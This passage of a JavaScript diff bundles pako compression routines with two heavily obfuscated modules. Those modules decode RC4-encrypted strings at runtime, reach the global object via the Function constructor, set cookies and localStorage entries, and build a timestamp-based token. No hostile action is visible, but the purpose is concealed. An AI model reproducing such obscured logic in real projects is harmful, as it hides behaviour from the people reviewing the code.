(t.match_available) { + if ((e = a._tr_tally(t, 0, t.window[t.strstart - 1])) && q(t, !1), + t.strstart++, + t.lookahead--, + 0 === t.strm.avail_out) + return B + } else + t.match_available = 1, + t.strstart++, + t.lookahead-- + } + return t.match_available && (e = a._tr_tally(t, 0, t.window[t.strstart - 1]), + t.match_available = 0), + t.insert = t.strstart < O - 1 ? t.strstart : O - 1, + n === f ? (q(t, !0), + 0 === t.strm.avail_out ? j : S) : t.last_lit && (q(t, !1), + 0 === t.strm.avail_out) ? B : L + } + + function F(t, n, r, e, i) { + this.good_length = t, + this.max_lazy = n, + this.nice_length = r, + this.max_chain = e, + this.func = i + } + + function I(t) { + var n; + return t && t.state ? (t.total_in = t.total_out = 0, + t.data_type = x, + (n = t.state).pending = 0, + n.pending_out = 0, + n.wrap < 0 && (n.wrap = -n.wrap), + n.status = n.wrap ? K : A, + t.adler = 2 === n.wrap ? 0 : 1, + n.last_flush = c, + a._tr_init(n), + h) : T(t, w) + } + + function W(t) { + var n, r = I(t); + return r === h && ((n = t.state).window_size = 2 * n.w_size, + V(n.head), + n.max_lazy_match = e[n.level].max_lazy, + n.good_match = e[n.level].good_length, + n.nice_match = e[n.level].nice_length, + n.max_chain_length = e[n.level].max_chain, + n.strstart = 0, + n.block_start = 0, + n.lookahead = 0, + n.insert = 0, + n.match_length = n.prev_length = O - 1, + n.match_available = 0, + n.ins_h = 0), + r + } + + function Z(t, n, r, e, a, o) { + if (!t) + return w; + var s = 1; + if (n === l && (n = 6), + e < 0 ? (s = 0, + e = -e) : e > 15 && (s = 2, + e -= 16), + a < 1 || a > v || r !== g || e < 8 || e > 15 || n < 0 || n > 9 || o < 0 || o > _) + return T(t, w); + 8 === e && (e = 9); + var u = new function () { + this.strm = null, + this.status = 0, + this.pending_buf = null, + this.pending_buf_size = 0, + this.pending_out = 0, + this.pending = 0, + this.wrap = 0, + this.gzhead = null, + this.gzindex = 0, + this.method = g, + this.last_flush = -1, + this.w_size = 0, + this.w_bits = 0, + this.w_mask = 0, + this.window = null, + this.window_size = 0, + this.prev = null, + this.head = null, + this.ins_h = 0, + this.hash_size = 0, + this.hash_bits = 0, + this.hash_mask = 0, + this.hash_shift = 0, + this.block_start = 0, + this.match_length = 0, + this.prev_match = 0, + this.match_available = 0, + this.strstart = 0, + this.match_start = 0, + this.lookahead = 0, + this.prev_length = 0, + this.max_chain_length = 0, + this.max_lazy_match = 0, + this.level = 0, + this.strategy = 0, + this.good_match = 0, + this.nice_match = 0, + this.dyn_ltree = new i.Buf16(2 * C), + this.dyn_dtree = new i.Buf16(2 * (2 * b + 1)), + this.bl_tree = new i.Buf16(2 * (2 * m + 1)), + V(this.dyn_ltree), + V(this.dyn_dtree), + V(this.bl_tree), + this.l_desc = null, + this.d_desc = null, + this.bl_desc = null, + this.bl_count = new i.Buf16(D + 1), + this.heap = new i.Buf16(2 * p + 1), + V(this.heap), + this.heap_len = 0, + this.heap_max = 0, + this.depth = new i.Buf16(2 * p + 1), + V(this.depth), + this.l_buf = 0, + this.lit_bufsize = 0, + this.last_lit = 0, + this.d_buf = 0, + this.opt_len = 0, + this.static_len = 0, + this.matches = 0, + this.insert = 0, + this.bi_buf = 0, + this.bi_valid = 0 + } + ; + return t.state = u, + u.strm = t, + u.wrap = s, + u.gzhead = null, + u.w_bits = e, + u.w_size = 1 << u.w_bits, + u.w_mask = u.w_size - 1, + u.hash_bits = a + 7, + u.hash_size = 1 << u.hash_bits, + u.hash_mask = u.hash_size - 1, + u.hash_shift = ~~((u.hash_bits + O - 1) / O), + u.window = new i.Buf8(2 * u.w_size), + u.head = new i.Buf16(u.hash_size), + u.prev = new i.Buf16(u.w_size), + u.lit_bufsize = 1 << a + 6, + u.pending_buf_size = 4 * u.lit_bufsize, + u.pending_buf = new i.Buf8(u.pending_buf_size), + u.d_buf = 1 * u.lit_bufsize, + u.l_buf = 3 * u.lit_bufsize, + u.level = n, + u.strategy = o, + u.method = r, + W(t) + } + + e = [new F(0, 0, 0, 0, function (t, n) { + var r = 65535; + for (r > t.pending_buf_size - 5 && (r = t.pending_buf_size - 5); ;) { + if (t.lookahead <= 1) { + if (U(t), + 0 === t.lookahead && n === c) + return B; + if (0 === t.lookahead) + break + } + t.strstart += t.lookahead, + t.lookahead = 0; + var e = t.block_start + r; + if ((0 === t.strstart || t.strstart >= e) && (t.lookahead = t.strstart - e, + t.strstart = e, + q(t, !1), + 0 === t.strm.avail_out)) + return B; + if (t.strstart - t.block_start >= t.w_size - y && (q(t, !1), + 0 === t.strm.avail_out)) + return B + } + return t.insert = 0, + n === f ? (q(t, !0), + 0 === t.strm.avail_out ? j : S) : (t.strstart > t.block_start && (q(t, !1), + t.strm.avail_out), + B) + } + ), new F(4, 4, 8, 4, E), new F(4, 5, 16, 8, E), new F(4, 6, 32, 32, E), new F(4, 4, 16, 16, P), new F(8, 16, 32, 32, P), new F(8, 16, 128, 128, P), new F(8, 32, 128, 256, P), new F(32, 128, 258, 1024, P), new F(32, 258, 258, 4096, P)], + n.deflateInit = function (t, n) { + return Z(t, n, g, 15, 8, 0) + } + , + n.deflateInit2 = Z, + n.deflateReset = W, + n.deflateResetKeep = I, + n.deflateSetHeader = function (t, n) { + return t && t.state ? 2 !== t.state.wrap ? w : (t.state.gzhead = n, + h) : w + } + , + n.deflate = function (t, n) { + var r, i, o, u; + if (!t || !t.state || n > 5 || n < 0) + return t ? T(t, w) : w; + if (i = t.state, + !t.output || !t.input && 0 !== t.avail_in || i.status === M && n !== f) + return T(t, 0 === t.avail_out ? -5 : w); + if (i.strm = t, + r = i.last_flush, + i.last_flush = n, + i.status === K) + if (2 === i.wrap) + t.adler = 0, + N(i, 31), + N(i, 139), + N(i, 8), + i.gzhead ? (N(i, (i.gzhead.text ? 1 : 0) + (i.gzhead.hcrc ? 2 : 0) + (i.gzhead.extra ? 4 : 0) + (i.gzhead.name ? 8 : 0) + (i.gzhead.comment ? 16 : 0)), + N(i, 255 & i.gzhead.time), + N(i, i.gzhead.time >> 8 & 255), + N(i, i.gzhead.time >> 16 & 255), + N(i, i.gzhead.time >> 24 & 255), + N(i, 9 === i.level ? 2 : i.strategy >= 2 || i.level < 2 ? 4 : 0), + N(i, 255 & i.gzhead.os), + i.gzhead.extra && i.gzhead.extra.length && (N(i, 255 & i.gzhead.extra.length), + N(i, i.gzhead.extra.length >> 8 & 255)), + i.gzhead.hcrc && (t.adler = s(t.adler, i.pending_buf, i.pending, 0)), + i.gzindex = 0, + i.status = 69) : (N(i, 0), + N(i, 0), + N(i, 0), + N(i, 0), + N(i, 0), + N(i, 9 === i.level ? 2 : i.strategy >= 2 || i.level < 2 ? 4 : 0), + N(i, 3), + i.status = A); + else { + var l = g + (i.w_bits - 8 << 4) << 8; + l |= (i.strategy >= 2 || i.level < 2 ? 0 : i.level < 6 ? 1 : 6 === i.level ? 2 : 3) << 6, + 0 !== i.strstart && (l |= 32), + l += 31 - l % 31, + i.status = A, + R(i, l), + 0 !== i.strstart && (R(i, t.adler >>> 16), + R(i, 65535 & t.adler)), + t.adler = 1 + } + if (69 === i.status) + if (i.gzhead.extra) { + for (o = i.pending; i.gzindex < (65535 & i.gzhead.extra.length) && (i.pending !== i.pending_buf_size || (i.gzhead.hcrc && i.pending > o && (t.adler = s(t.adler, i.pending_buf, i.pending - o, o)), + Y(t), + o = i.pending, + i.pending !== i.pending_buf_size));) + N(i, 255 & i.gzhead.extra[i.gzindex]), + i.gzindex++; + i.gzhead.hcrc && i.pending > o && (t.adler = s(t.adler, i.pending_buf, i.pending - o, o)), + i.gzindex === i.gzhead.extra.length && (i.gzindex = 0, + i.status = 73) + } else + i.status = 73; + if (73 === i.status) + if (i.gzhead.name) { + o = i.pending; + do { + if (i.pending === i.pending_buf_size && (i.gzhead.hcrc && i.pending > o && (t.adler = s(t.adler, i.pending_buf, i.pending - o, o)), + Y(t), + o = i.pending, + i.pending === i.pending_buf_size)) { + u = 1; + break + } + u = i.gzindex < i.gzhead.name.length ? 255 & i.gzhead.name.charCodeAt(i.gzindex++) : 0, + N(i, u) + } while (0 !== u); + i.gzhead.hcrc && i.pending > o && (t.adler = s(t.adler, i.pending_buf, i.pending - o, o)), + 0 === u && (i.gzindex = 0, + i.status = 91) + } else + i.status = 91; + if (91 === i.status) + if (i.gzhead.comment) { + o = i.pending; + do { + if (i.pending === i.pending_buf_size && (i.gzhead.hcrc && i.pending > o && (t.adler = s(t.adler, i.pending_buf, i.pending - o, o)), + Y(t), + o = i.pending, + i.pending === i.pending_buf_size)) { + u = 1; + break + } + u = i.gzindex < i.gzhead.comment.length ? 255 & i.gzhead.comment.charCodeAt(i.gzindex++) : 0, + N(i, u) + } while (0 !== u); + i.gzhead.hcrc && i.pending > o && (t.adler = s(t.adler, i.pending_buf, i.pending - o, o)), + 0 === u && (i.status = z) + } else + i.status = z; + if (i.status === z && (i.gzhead.hcrc ? (i.pending + 2 > i.pending_buf_size && Y(t), + i.pending + 2 <= i.pending_buf_size && (N(i, 255 & t.adler), + N(i, t.adler >> 8 & 255), + t.adler = 0, + i.status = A)) : i.status = A), + 0 !== i.pending) { + if (Y(t), + 0 === t.avail_out) + return i.last_flush = -1, + h + } else if (0 === t.avail_in && H(n) <= H(r) && n !== f) + return T(t, -5); + if (i.status === M && 0 !== t.avail_in) + return T(t, -5); + if (0 !== t.avail_in || 0 !== i.lookahead || n !== c && i.status !== M) { + var d = 2 === i.strategy ? function (t, n) { + for (var r; ;) { + if (0 === t.lookahead && (U(t), + 0 === t.lookahead)) { + if (n === c) + return B; + break + } + if (t.match_length = 0, + r = a._tr_tally(t, 0, t.window[t.strstart]), + t.lookahead--, + t.strstart++, + r && (q(t, !1), + 0 === t.strm.avail_out)) + return B + } + return t.insert = 0, + n === f ? (q(t, !0), + 0 === t.strm.avail_out ? j : S) : t.last_lit && (q(t, !1), + 0 === t.strm.avail_out) ? B : L + }(i, n) : 3 === i.strategy ? function (t, n) { + for (var r, e, i, o, s = t.window; ;) { + if (t.lookahead <= k) { + if (U(t), + t.lookahead <= k && n === c) + return B; + if (0 === t.lookahead) + break + } + if (t.match_length = 0, + t.lookahead >= O && t.strstart > 0 && (e = s[i = t.strstart - 1]) === s[++i] && e === s[++i] && e === s[++i]) { + o = t.strstart + k; + do { + } while (e === s[++i] && e === s[++i] && e === s[++i] && e === s[++i] && e === s[++i] && e === s[++i] && e === s[++i] && e === s[++i] && i < o); + t.match_length = k - (o - i), + t.match_length > t.lookahead && (t.match_length = t.lookahead) + } + if (t.match_length >= O ? (r = a._tr_tally(t, 1, t.match_length - O), + t.lookahead -= t.match_length, + t.strstart += t.match_length, + t.match_length = 0) : (r = a._tr_tally(t, 0, t.window[t.strstart]), + t.lookahead--, + t.strstart++), + r && (q(t, !1), + 0 === t.strm.avail_out)) + return B + } + return t.insert = 0, + n === f ? (q(t, !0), + 0 === t.strm.avail_out ? j : S) : t.last_lit && (q(t, !1), + 0 === t.strm.avail_out) ? B : L + }(i, n) : e[i.level].func(i, n); + if (d !== j && d !== S || (i.status = M), + d === B || d === j) + return 0 === t.avail_out && (i.last_flush = -1), + h; + if (d === L && (1 === n ? a._tr_align(i) : 5 !== n && (a._tr_stored_block(i, 0, 0, !1), + 3 === n && (V(i.head), + 0 === i.lookahead && (i.strstart = 0, + i.block_start = 0, + i.insert = 0))), + Y(t), + 0 === t.avail_out)) + return i.last_flush = -1, + h + } + return n !== f ? h : i.wrap <= 0 ? 1 : (2 === i.wrap ? (N(i, 255 & t.adler), + N(i, t.adler >> 8 & 255), + N(i, t.adler >> 16 & 255), + N(i, t.adler >> 24 & 255), + N(i, 255 & t.total_in), + N(i, t.total_in >> 8 & 255), + N(i, t.total_in >> 16 & 255), + N(i, t.total_in >> 24 & 255)) : (R(i, t.adler >>> 16), + R(i, 65535 & t.adler)), + Y(t), + i.wrap > 0 && (i.wrap = -i.wrap), + 0 !== i.pending ? h : 1) + } + , + n.deflateEnd = function (t) { + var n; + return t && t.state ? (n = t.state.status) !== K && 69 !== n && 73 !== n && 91 !== n && n !== z && n !== A && n !== M ? T(t, w) : (t.state = null, + n === A ? T(t, -3) : h) : w + } + , + n.deflateSetDictionary = function (t, n) { + var r, e, a, s, u, c, f, l, d = n.length; + if (!t || !t.state) + return w; + if (2 === (s = (r = t.state).wrap) || 1 === s && r.status !== K || r.lookahead) + return w; + for (1 === s && (t.adler = o(t.adler, n, d, 0)), + r.wrap = 0, + d >= r.w_size && (0 === s && (V(r.head), + r.strstart = 0, + r.block_start = 0, + r.insert = 0), + l = new i.Buf8(r.w_size), + i.arraySet(l, n, d - r.w_size, r.w_size, 0), + n = l, + d = r.w_size), + u = t.avail_in, + c = t.next_in, + f = t.input, + t.avail_in = d, + t.next_in = 0, + t.input = n, + U(r); r.lookahead >= O;) { + e = r.strstart, + a = r.lookahead - (O - 1); + do { + r.ins_h = (r.ins_h << r.hash_shift ^ r.window[e + O - 1]) & r.hash_mask, + r.prev[e & r.w_mask] = r.head[r.ins_h], + r.head[r.ins_h] = e, + e++ + } while (--a); + r.strstart = e, + r.lookahead = O - 1, + U(r) + } + return r.strstart += r.lookahead, + r.block_start = r.strstart, + r.insert = r.lookahead, + r.lookahead = 0, + r.match_length = r.prev_length = O - 1, + r.match_available = 0, + t.next_in = c, + t.input = f, + t.avail_in = u, + r.wrap = s, + h + } + , + n.deflateInfo = ""pako deflate (from Nodeca project)""; + + return n; + })(); // 10 + + + var f_gzip = (function (t, n, r) { + ""use strict""; + var n = {}; + var e = f_long + , i = f_assign + , a = f_string + , o = f_stream + , s = f_input + , u = Object.prototype.toString + , c = 0 + , f = -1 + , h = 0 + , w = 8; + + function l(t) { + if (!(this instanceof l)) + return new l(t); + this.options = i.assign({ + level: f, + method: w, + chunkSize: 16384, + windowBits: 15, + memLevel: 8, + strategy: h, + to: """" + }, t || {}); + var n = this.options; + n.raw && n.windowBits > 0 ? n.windowBits = -n.windowBits : n.gzip && n.windowBits > 0 && n.windowBits < 16 && (n.windowBits += 16), + this.err = 0, + this.msg = """", + this.ended = !1, + this.chunks = [], + this.strm = new s, + this.strm.avail_out = 0; + var r = e.deflateInit2(this.strm, n.level, n.method, n.windowBits, n.memLevel, n.strategy); + if (r !== c) + throw new Error(o[r]); + if (n.header && e.deflateSetHeader(this.strm, n.header), + n.dictionary) { + var d; + if (d = ""string"" == typeof n.dictionary ? a.string2buf(n.dictionary) : ""[object ArrayBuffer]"" === u.call(n.dictionary) ? new Uint8Array(n.dictionary) : n.dictionary, + (r = e.deflateSetDictionary(this.strm, d)) !== c) + throw new Error(o[r]); + this._dict_set = !0 + } + } + + function d(t, n) { + var r = new l(n); + if (r.push(t, !0), + r.err) + throw r.msg || o[r.err]; + return r.result + } + + l.prototype.push = function (t, n) { + var r, o, s = this.strm, f = this.options.chunkSize; + if (this.ended) + return !1; + o = n === ~~n ? n : !0 === n ? 4 : 0, + ""string"" == typeof t ? s.input = a.string2buf(t) : ""[object ArrayBuffer]"" === u.call(t) ? s.input = new Uint8Array(t) : s.input = t, + s.next_in = 0, + s.avail_in = s.input.length; + do { + if (0 === s.avail_out && (s.output = new i.Buf8(f), + s.next_out = 0, + s.avail_out = f), + 1 !== (r = e.deflate(s, o)) && r !== c) + return this.onEnd(r), + this.ended = !0, + !1; + 0 !== s.avail_out && (0 !== s.avail_in || 4 !== o && 2 !== o) || (""string"" === this.options.to ? this.onData(a.buf2binstring(i.shrinkBuf(s.output, s.next_out))) : this.onData(i.shrinkBuf(s.output, s.next_out))) + } while ((s.avail_in > 0 || 0 === s.avail_out) && 1 !== r); + return 4 === o ? (r = e.deflateEnd(this.strm), + this.onEnd(r), + this.ended = !0, + r === c) : 2 !== o || (this.onEnd(c), + s.avail_out = 0, + !0) + } + , + l.prototype.onData = function (t) { + this.chunks.push(t) + } + , + l.prototype.onEnd = function (t) { + t === c && (""string"" === this.options.to ? this.result = this.chunks.join("""") : this.result = i.flattenChunks(this.chunks)), + this.chunks = [], + this.err = t, + this.msg = this.strm.msg + } + , + n.Deflate = l, + n.deflate = d, + n.deflateRaw = function (t, n) { + return (n = n || {}).raw = !0, + d(t, n) + } + , + n.gzip = function (t, n) { + return (n = n || {}).gzip = !0, + d(t, n) + }; + return n; + })(); // 9 + + + var f_p = (function (t, n, r) { + var n, e, i = ""function"" == typeof _ && ""symbol"" == g(w) ? function (t) { + return ""object"" + } + : function (t) { + return t && ""function"" == typeof _ && t.constructor === _ && t !== _.prototype ? ""symbol"" : ""object"" + } + , a = f_en, o = f_base64, s = f_err, + u = [""QzwKMQ4="", ""w6fCisOpFyEo"", ""w7LDkcKMw4F9"", ""wqLDlVkyLG7Cvg=="", ""w4nDvHUmUg=="", ""CGTDnk7DoMO0Eg=="", ""woBEw60FeA=="", ""w684w4vDhWM="", ""w7HDv2zDocKF"", ""w7LDmcK9KTQ="", ""LcOPWsKmwro="", ""w7A+FDZH"", ""w4PCvSM="", ""KMOiaA=="", ""RMOiwq3CjsOr"", ""wqLDhEI="", ""WcOOdlx8"", ""w7HDs8K9w55Bw4cs"", ""JMK5IcOPRcOawrjDgMKq"", ""a8KKw5bCk8OdcxjCjW/DlcO1w7Y="", ""LcOyw5LDiyES"", ""ecOAwp7Cg8O1w6o3w6k="", ""wqzCt8K5wr8Zw5M="", ""wo0HwpQSw6bDosKTYsO2"", ""PMOiaMKrez3CkCBs"", ""DMKLZkFBw50Lwqlvw7k="", ""wq/Cq8K9w5BHw5tiXA=="", ""w4vDvnkvSMK8w4t7w4U="", ""w6bDi8KLwq3ClcKJR8KkZlQ="", ""wrvDkG9HY8OVFS/CqQQ="", ""wph9w6w="", ""wpsWR8KTwog="", ""wqhfwobDr8KJ"", ""wqDCkklGTg=="", ""w7LDuX/DsMKY"", ""flXCtwhS"", ""w63DlcKvwoPCkQ=="", ""UBYOOB56"", ""w6bDvMK1w59h"", ""wpMvw5M8Jg=="", ""UzfCosOewog="", ""L0DDtV7DjA=="", ""fmk/w7jCuQ=="", ""YMKzw6/DmQLDrw=="", ""w7/CszLDi8O+I8OuHMKGSQ=="", ""w6gZw6vDvUY="", ""wrkewp4Nw6I="", ""GCJdwqvClw=="", ""T8OzRR/ClXPChw=="", ""JXwNwo3Cjg=="", ""YBYIID8="", ""fsOHwpzChMOZw7s="", ""wpQsw68vMwrDng8jw5UK"", ""w6/CtzrDmsOY"", ""wojDrGY4Pg=="", ""wpYMwoUSw40="", ""wpfCj2ZfUg=="", ""IcOmcsKHSzTCiw=="", ""RcOIV3Z9""]; + n = u, + e = 136, + function (t) { + for (; --t;) + n.push(n.shift()) + }(++e); + var c = function t(n, r) { + var e, i = u[n -= 0]; + void 0 === t.KnuQDT && ((e = function () { + var t; + t = Function('return (function() {}.constructor(""return this"")( ));')() + return t + }()).atob || (e.atob = function (t) { + for (var n, r, e = String(t).replace(/=+$/, """"), i = 0, a = 0, o = """"; r = e.charAt(a++); ~r && (n = i % 4 ? 64 * n + r : r, + i++ % 4) ? o += String.fromCharCode(255 & n >> (-2 * i & 6)) : 0) + r = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="".indexOf(r); + return o + } + ), + t.fyxzDe = function (t, n) { + for (var r, e = [], i = 0, a = """", o = """", s = 0, u = (t = atob(t)).length; s < u; s++) + o += ""%"" + (""00"" + t.charCodeAt(s).toString(16)).slice(-2); + t = decodeURIComponent(o); + for (var c = 0; c < 256; c++) + e[c] = c; + for (c = 0; c < 256; c++) + i = (i + e[c] + n.charCodeAt(c % n.length)) % 256, + r = e[c], + e[c] = e[i], + e[i] = r; + c = 0, + i = 0; + for (var f = 0; f < t.length; f++) + i = (i + e[c = (c + 1) % 256]) % 256, + r = e[c], + e[c] = e[i], + e[i] = r, + a += String.fromCharCode(t.charCodeAt(f) ^ e[(e[c] + e[i]) % 256]); + return a + } + , + t.aBwsIj = {}, + t.KnuQDT = !0); + var a = t.aBwsIj[n]; + return void 0 === a ? (void 0 === t.oBOLyG && (t.oBOLyG = !0), + i = t.fyxzDe(i, r), + t.aBwsIj[n] = i) : i = a, + i + } + , f = c(""0x0"", ""0Q^3"") + , h = c(""0x1"", ""&zxH"") + , l = c(""0x2"", ""kc36"") + , d = c(""0x3"", ""FsN1"") + , x = c(""0x4"", ""wt6v"") + , v = void 0; + (""undefined"" == typeof window ? ""undefined"" : i(window)) !== c(""0x5"", ""kWt7"") && (v = window); + var p = {}; + + function b() { + var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : Date[c(""0xc"", ""HxY!"")]() + , n = {}; + n[c(""0xd"", ""E7dI"")] = function (t, n) { + return t(n) + } + , + n[c(""0xe"", ""r[(a"")] = function (t) { + return t() + } + , + n[c(""0xf"", ""kkhd"")] = function (t, n) { + return t % n + } + , + n[c(""0x10"", ""l*OF"")] = function (t, n, r, e) { + return t(n, r, e) + } + , + n[c(""0x11"", ""zgAZ"")] = function (t, n) { + return t(n) + } + , + n[c(""0x12"", ""gPk6"")] = c(""0x13"", ""jhb9""); + var r = n[c(""0x14"", ""#BDR"")](String, t)[c(""0x15"", ""mUZ7"")](0, 10) + , e = n[c(""0x16"", ""!LcL"")](o) + , i = n[c(""0x17"", ""OPo!"")]((r + ""_"" + e)[c(""0x18"", ""mpB0"")]("""")[c(""0x19"", ""*%RS"")](function (t, n) { + return t + n[c(""0x1a"", ""[)ww"")](0) + }, 0), 1e3) + , u = n[c(""0x1b"", ""BmuK"")](s, n[c(""0x1c"", ""kWt7"")](String, i), 3, ""0""); + return a[n[c(""0x1d"", ""ogP5"")]]("""" + r + u)[c(""0x1e"", ""v*sR"")](/=/g, """") + ""_"" + e + } + + function m(t) { + var n = {}; + return n[c(""0x1f"", ""zrO^"")] = function (t, n) { + return t + n + } + , + n[c(""0x20"", ""jhb9"")](t[c(""0x21"", ""FsN1"")](0)[c(""0x22"", ""mUZ7"")](), t[c(""0x23"", ""[)ww"")](1)) + } + + p[c(""0x6"", ""6axu"")] = function (t, n) { + var r = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : 9999 + , e = { + hNolq: function (t, n) { + return t + n + }, + HSBcF: function (t, n) { + return t * n + }, + QsJzw: function (t, n) { + return t * n + }, + irUnm: c(""0x7"", ""3hFI""), + ZRUhv: function (t, n) { + return t + n + }, + KcgwS: function (t, n) { + return t + n + }, + NcxmC: function (t, n) { + return t || n + }, + HWavj: c(""0x8"", ""#BDR"") + }; + t = e.hNolq(""_"", t); + var i = """"; + if (r) { + var a = new Date; + a.setTime(e.hNolq(a.getTime(), e.HSBcF(e.HSBcF(e.QsJzw(e.QsJzw(r, 24), 60), 60), 1e3))), + i = e.hNolq(e.irUnm, a.toUTCString()) + } + v[d][l] = e.hNolq(e.ZRUhv(e.KcgwS(e.KcgwS(t, ""=""), e.NcxmC(n, """")), i), e.HWavj) + } + , + p[c(""0x9"", ""&8PU"")] = function (t) { + for (var n = function (t, n) { + return t + n + }, r = function (t, n) { + return t < n + }, e = function (t, n) { + return t === n + }, i = n(t = n(""_"", t), ""=""), a = v[d][l].split("";""), o = 0; r(o, a[x]); o++) { + for (var s = a[o]; e(s.charAt(0), "" "");) + s = s[f](1, s[x]); + if (e(s.indexOf(i), 0)) + return s[f](i[x], s[x]) + } + return null + } + , + p[c(""0xa"", ""PA5G"")] = function (t, n) { + t = ""_"" + t, + v[h].setItem(t, n) + } + , + p[c(""0xb"", ""VlH&"")] = function (t) { + return t = ""_"" + t, + v[h].getItem(t) + }; + + return function () { + var t = {}; + t[c(""0x24"", ""!jRO"")] = function (t, n) { + return t(n) + } + , + t[c(""0x25"", ""kWt7"")] = function (t, n) { + return t(n) + } + , + t[c(""0x26"", ""kkhd"")] = c(""0x27"", ""6axu""), + t[c(""0x28"", ""3hFI"")] = function (t) { + return t() + } + , + t[c(""0x29"", ""jhb9"")] = c(""0x2a"", ""7CAL""), + t[c(""0x2b"", ""#BDR"")] = c(""0x2c"", ""!jRO""), + t[c(""0x2d"", ""&8PU"")] = c(""0x2e"", ""OPo!""); + var n = t[c(""0x2f"", ""HxY!"")] + , r = {} + , e = t[c(""0x30"", ""BmuK"")](b); + return [t[c(""0x31"", ""l*OF"")], t[c(""0x32"", ""jFJ8"")]][t[c(""0x33"", ""Ayw("")]](function (i) { + var a = c(""0x34"", ""AVSJ"") + i + c(""0x35"", ""[)ww""); + r[a] = e; + }), + r + } + })(); // 16 + + + var f_main = (function (t, n, r) { + var n, e, i = ""function"" == typeof _ && ""symbol"" == g(w) ? function (t) { + return ""object"" + } + : function (t) { + return t && ""function"" == typeof _ && t.constructor === _ && t !== _.prototype ? ""symbol"" : ""object"" + } + , a = f_digest, o = f_gzip, l = f_en, d = f_p, + x = [""N8KlwqzDisKH"", ""w4XDgsOb"", ""wqfDi3/CjMOP"", ""aFNew60Q"", ""w6bDhMK/w6bDqQ=="", ""w5rDhF7Dhmg="", ""wqTCgcO9w5QL"", ""CcKww4VnCA=="", ""BHFtGnPChkMLHMKqw4VjQMKT"", ""wqjCmcOxw44="", ""En/CvTp5VE9APwLDrw=="", ""F3hvHw=="", ""TcOrRMOH"", ""VWYRJQLCqMO5GVrDnMOp"", ""w6dzOcKF"", ""w43CnsOFHg=="", ""wrJSwp/CtsOgUmzDjibDkS0="", ""w5TCvVrCjg=="", ""w6FAUwQ="", ""w4zCrgklw43DvMOhIcONwp3DhQ=="", ""GwrDsMKr"", ""VGkWNQ=="", ""w5nDlXbDtw=="", ""wrgOwrzCjA=="", ""w7vCh8KWVA=="", ""w7Euwoc4"", ""wqEBwrbCkw=="", ""w758M8Ka"", ""w5DDgMOUDA=="", ""wqEdwrPDsg=="", ""w6ghwo0n"", ""VcO9w6Ju"", ""w6HCqcKVQDkNcsK+w6VSwrsOw5wqQcO5w5QgPSprVQ=="", ""wo7DvCnDiQ=="", ""w6IRc8K8"", ""w4bDk8OnwrfCnsOCw4LCjiUrQgBJRFMGw4k="", ""w4cdU0M="", ""JC8cw6c="", ""UsOWw4xn"", ""wqJyHBskw5zDrVUd"", ""L8KgcMKl"", ""w43CslDCkQ=="", ""w5TCkcOPAQ=="", ""KMK+w4pqIsK5w7XDrcO2wqPCpcOVwrJV"", ""w4vCrcKNRgUbScKjw75WwrIfw6I4WA=="", ""wonCp8ObQMKc"", ""OV5eMEM="", ""wrpyDijDkA=="", ""OS4Aw7BvEsKow6szwro="", ""w5FDKcKEw5I="", ""w5oTRVtPwpQRC8OP"", ""FycFw5Rd"", ""NcK8w5ZqEcK2"", ""w74OVW5g"", ""wplkIT0I"", ""w4cNdMKTEQ=="", ""w7PDkmXDm1Y="", ""w5bCoMKKSj8="", ""GVYWOBQ="", ""w7oLWcKZJg=="", ""HnHCsCt4VGRCHwDDvhzCm8Kgeg=="", ""wpwFwpLCulvDnsO8IAA="", ""w4LDjsOTHg=="", ""TmQNLgLCocOoAE8="", ""MsKPUsKMHw=="", ""w6ZmGcK/w6w="", ""TWYcKg=="", ""woUZwozCocKY"", ""wqTDpSDDg30="", ""wpJlORHDvlDDssKQwognWMOn"", ""wqfDtjDDp0A="", ""w63DlUPDiWU="", ""w7wkeHpv"", ""CMKrw6BWEg=="", ""w4rDlMOLwrvCmw=="", ""w7fCiwvCr3k="", ""w5ZKKsKiw7A="", ""VsO8wqbDuwE="", ""d8OIa8Oxw54="", ""wr4IwrPCl8Kb"", ""C2hBH3o="", ""woojwrbCgFU="", ""HnvCtTJ0RW8="", ""wpNgIw8r"", ""NMKTw4lTNg=="", ""alNZ"", ""w5UoYEtm"", ""D8KLwpPCsR3Cvg=="", ""w7nDisONIk8="", ""BHk0EQ=="", ""w5XCrcKAQg=="", ""w6zCgRcX"", ""IcOwwrAb"", ""w5TCrgQq"", ""wpNgLzwM"", ""DktuClo="", ""E8Obw5R8esKtw6rDuA=="", ""wqIQwrnCkcKe"", ""w6/ChHHCt8Ko"", ""SGkMKQfCq8OI"", ""w47CoA4v"", ""w4ULXsKbHQ=="", ""dMOxw5F/wo0="", ""wpZ/bAYB"", ""wq4+wpDCmX8="", ""PnVeBUA="", ""w5jCq8KzfW0="", ""w6QXfMKnAw=="", ""NkN6OEY="", ""wroUTMKqPw=="", ""LwrDhcKVeg=="", ""wr92wqfCh8Ou"", ""wrdSwoE="", ""OVNbPw=="", ""YcOAw49yaA=="", ""HlNtNWY="", ""BlQ6LCs="", ""FkwHGSw="", ""NsKvwrzDk8KF"", ""w450XxhF"", ""wovDsy7Dh2MWTnLCqg=="", ""w6k8fMKYBw=="", ""wrg+ecKtEA=="", ""wpxpwpTCusOq"", ""woFnMh3DiV3DgMKHwrk+WcOwPAzDi24="", ""w7oDwogcEw=="", ""w4bCn1/CtcKY"", ""S8OKw4pnf8KUGwnClA=="", ""EmloFWDChnQ6AcKpw4N5ccKJKsOV"", ""KkBYJ0fDjFJFAQ=="", ""wrHChcO3w44QZBbDljw="", ""CcKJwpXCvwvCmBXCi0cp"", ""w6zCkhsIw4JPGzLCuw=="", ""w6BEwrLCmE4APMOINsOQwo4="", ""wpLClcOWw6w6"", ""w5tMdCZm"", ""QsOJwqDDmQZgTkTCtA=="", ""w7vCvinCtHVWw5sowpDDosKEY8OlAhc="", ""w5DCjzk+w5w="", ""w7HDlmTDsk4="", ""wrtAcCwd"", ""ZWUOLyw="", ""D8KdwoDCsQvCrwc="", ""w5HCgMOIC8OtVsOCR8Kaw6lMw6nDmWsWw64="", ""w6jCgQYbw4hP"", ""w7l9LQ=="", ""LMK0ccK9H2Vew7QS"", ""YMKoQw=="", ""FcOVw6lsZ8Kp"", ""w5rDjsKsw7LDuU7DgMOOWsOy"", ""wrZlHSwTw57Dpk8lwqtWNcOfNMKBBw=="", ""HnHCsCt4VGRC"", ""w6oJe8KhHlDDrSjChjUA"", 